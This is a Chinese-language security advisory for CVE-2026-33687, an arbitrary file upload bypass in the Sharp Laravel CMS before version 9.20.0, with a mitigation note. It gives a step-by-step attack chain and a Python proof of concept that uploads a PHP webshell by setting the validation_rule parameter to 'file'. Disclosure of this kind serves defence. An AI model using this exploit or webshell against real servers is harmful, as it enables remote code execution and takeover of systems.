IPBUF安全漏洞报告
English
CVE-2026-33687 CVSS 8.8 高危

CVE-2026-33687 Sharp文件上传漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-33687
漏洞类型
任意文件上传
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Sharp (Laravel CMS framework)

相关标签

任意文件上传RCESharpLaravelCVE-2026-33687验证绕过

漏洞概述

Sharp是专为Laravel构建的内容管理框架。在9.20.0版本之前,其文件上传端点存在严重漏洞。由于`ApiFormUploadController`未对客户端提供的`validation_rule`参数进行严格服务器端校验,攻击者可通过拦截请求并修改该参数为`file`,完全绕过MIME类型和文件扩展名限制,上传任意文件。若存储配置不当,可能导致远程代码执行。

技术细节

该漏洞的核心在于Sharp框架的`ApiFormUploadController`将客户端可控的`validation_rule`参数直接传递给Laravel的验证器。正常情况下,服务器应严格限制上传文件的类型,但此处缺乏服务端强制校验。攻击者仅需低权限账号即可利用此漏洞。利用过程包括:登录系统,向上传接口发送POST请求,抓包修改`validation_rule`参数为`validation_rule[]=file`。这会绕过原有的MIME和扩展名检查,允许上传.php等恶意脚本。如果上传目录配置为Web可访问的公共磁盘,攻击者即可通过URL访问并执行上传的脚本,从而控制服务器。

攻击链分析

STEP 1
步骤1:获取凭证
攻击者需要注册或获取一个有效的低权限用户账号,以便通过身份验证。
STEP 2
步骤2:分析上传接口
识别Sharp框架中的文件上传端点(ApiFormUploadController),并观察其接受validation_rule参数。
STEP 3
步骤3:构造恶意请求
使用代理工具拦截上传请求,修改参数将validation_rule设置为file,并准备上传恶意文件(如PHP Webshell)。
STEP 4
步骤4:执行上传
发送修改后的请求,服务器接受任意文件类型并保存到存储磁盘。
STEP 5
步骤5:利用与执行
如果存储磁盘为公开访问,攻击者访问上传的恶意文件URL,触发代码执行,获取服务器权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (example) target_url = "http://target.com/sharp/api/form/upload" # The malicious file to upload (e.g., a PHP shell) files = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php')} # The vulnerable payload: setting validation_rule to 'file' bypasses MIME checks data = { 'validation_rule[]': 'file' } # Session cookie for an authenticated user cookies = { 'laravel_session': 'your_session_cookie_here' } response = requests.post(target_url, files=files, data=data, cookies=cookies) if response.status_code == 200: print("[+] Upload potentially successful!") print(response.text) else: print("[-] Upload failed")

影响范围

Sharp < 9.20.0

防御指南

临时缓解措施
确保用于Sharp上传的存储磁盘配置为严格私有(private)。在默认配置下,除非显式使用公共磁盘配置,否则攻击者无法直接执行上传的PHP文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表